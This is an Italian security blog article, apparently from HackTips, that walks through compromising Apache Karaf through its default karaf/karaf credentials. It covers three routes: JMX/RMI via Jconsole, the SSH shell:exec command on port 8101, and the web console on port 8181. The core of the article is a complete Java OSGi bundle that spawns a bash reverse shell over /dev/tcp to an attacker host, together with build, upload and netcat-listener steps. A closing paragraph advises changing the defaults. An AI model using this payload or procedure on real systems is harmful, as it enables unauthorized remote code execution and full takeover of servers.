Apache Karaf è un contenitore di applicazioni, può essere utilizzato come contenitore autonomo, supportando una vasta gamma di applicazioni e tecnologie. Supporta anche il concetto “run anywhere” (su qualsiasi macchina con Java, cloud, immagini docker, …) utilizzando la modalità embedded. Karaf viene principalmente utilizzato per microservizi, integrazione di sistemi, grandi dati ed è alimentato da OSGi.
Molte volte, durante un assessment infrastrutturale, mi è capitato di incontrarlo, e nel 90% dei casi viene implementato in maniera insicura, lasciando la possibilità ad un attaccante di compromettere completamente il sistema. In questo articolo andremo a visionare i modi principali per riuscire a violare il servizio

NB: partiamo dall’assunzione che l’incauto amministratore del servizio abbia lasciato abilitate le credenziali di default, che sono
- username: karaf
- password: karaf
Cionondimeno, i seguenti procedimenti possono applicarsi anche in caso che l’attaccante conosca, per un qualunque motivo, una qualunque altra coppia di credenziali valide.
Introduzione
Quando viene avviato, di default Karaf attiva tre servizi diversi:
- 1099 con Java RMI
- 8101 dove risiede un client ssh con le stesse credenziali di prima
- 8181 dove c’è la web console

Nella scansione effettuata possiamo vedere come i tre servizi indicati precedentemente sono aperti. Vediamoli uno ad uno.
Java RMI – Porte 1099 e 37175
Andando ad indagare la porta con nmap (comando: nmap -p1099 -sTV –script vuln,discovery IP) possiamo vedere come viene stampato il registro JMX. Karaf lo utilizza principalmente per effettuare monitoraggio della macchina virtuale e del sistema, ma un attaccante potrebbe sfruttarlo in maniera completamente diversa.

Per poterci connettere è necessario usare Jconsole ed inserire il seguente puntamento:
service:jmx:rmi://192.168.1.99:37175/jndi/rmi://192.168.1.99:1099/karaf-root
Dove la prima porta fa riferimento a JMX, mentre la seconda ad RMI.

Una volta connessi avremo davanti a noi moltissime informazioni sensibili, come la versione di OpenJDK, la versione del sistema operativo, e altre informazioni contenute nel tab MBeans.

Per ottenere una shell remota, dobbiamo andare a crearne una in Java. Per velocizzare il tutto ho deciso di seguire questa guida che si traduce (dopo aver installato mvn), nell’eseguire il comando
mvn archetype:generate -DarchetypeGroupId=org.apache.karaf.archetypes -DarchetypeArtifactId=karaf-bundle-archetype -DarchetypeVersion=2.2.11 -DgroupId=it.html.tutorial -DartifactId=karaf-helloworld -Dversion=1.0 -Dpackage=it.html.tutorial.karaf.helloworld
Una volta eseguito troveremo all’interno della cartella appena creata il nostro file Java contenente un classico HelloWorld.java. Visto che noi vogliamo creare una reverse shell, vado a sostituire il contenuto con questo codice
import org.osgi.framework.BundleActivator;
import org.osgi.framework.BundleContext;
import java.lang.*;
public class Activator implements BundleActivator {
@Override
public void start(BundleContext bundleContext) throws Exception {
System.out.println("STARTING");
ProcessBuilder pb = new ProcessBuilder("/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.99/8686;cat <&5 | while read line; do $line 2>&5 >&5; done");
Process proc = pb.start();
}
@Override
public void stop(BundleContext bundleContext) throws Exception {
System.out.println("STOPPING");
}
}
E poi lo compiliamo con
mvn clean install

NB: durante la compilazione ho avuto due problemi:
- Usando la versione 13 di java sembra che dia problemi, quindi ho usato la 11 (con il comando
sudo update-alternatives --config java)
- il pom.xml ha dato problemi e ho dovuto inserire queste due righe aggiuntive

Ora che abbiamo il file jar, ci basterà caricarlo all’interno del bundle in Jconsole (Nel path org.apache.karaf -> bundle -> root -> Operations -> install). Per copiarlo dal mio host al target ho avviato un server con python sulla porta 9090

Cliccando su Install il file andrà ad installarsi all’interno dei bundles di Karaf

Per avviarlo, ci basterà:
- Avviare netcat sulla porta stabilita prima (8686)
- Avviare il jar tramite Jconsole inserendo il suo nome (karaf-helloworld)

Ed ecco che abbiamo ottenuto una shell in pochissimi passi.
SSH – Porta 8101
Come anticipavo prima, sulla porta 8101 è presente un server SSH gentilmente fornitoci da karaf che viene abilitato di default con le stesse credenziali di default

Per eseguire comandi basterà digitare
shell:exec CMD
e verranno eseguiti.
Per creare una reverse shell basterà quindi eseguirla direttamente da li, con netcat o il metodo che preferite

Interfaccia Web
Karaf sulla porta 8181 ha un’interfaccia web come Tomcat dalla quale possiamo effettuare lo stesso procedimento di prima, solo che in maniera molto più comoda.

Inseriamo le credenziali e andiamo al path /system/console/bundles (altrimenti il server da errore 403). Da qui, con lo stesso file creato precedentemente, andiamo ad installare un nuovo pacchetto tramite l’interfaccia

Avviamo netcat e startiamo il nuovo jar appena caricato

Conclusioni
Il problema di Karaf (come tanti altri software simili) è che se non vengono cambiate le impostazioni di default, esse attivano una serie di servizi dei quali lo sviluppatore/sistemista non è a conoscenza e permettono ad utenti esterni di sfruttarli a fini malevoli; vanno assolutamente disattivati se non utilizzati.
Nel remoto caso in cui servano, è sufficiente cambiare la password di default in modo da non permettere ad utenti non autorizzati di entrare nel sistema.
Di seguito alcuni articoli che mi hanno aiutato a studiare l’argomento:
Hits: 267
L'articolo Violare Apache Karaf con tre diverse metodologie proviene da HackTips.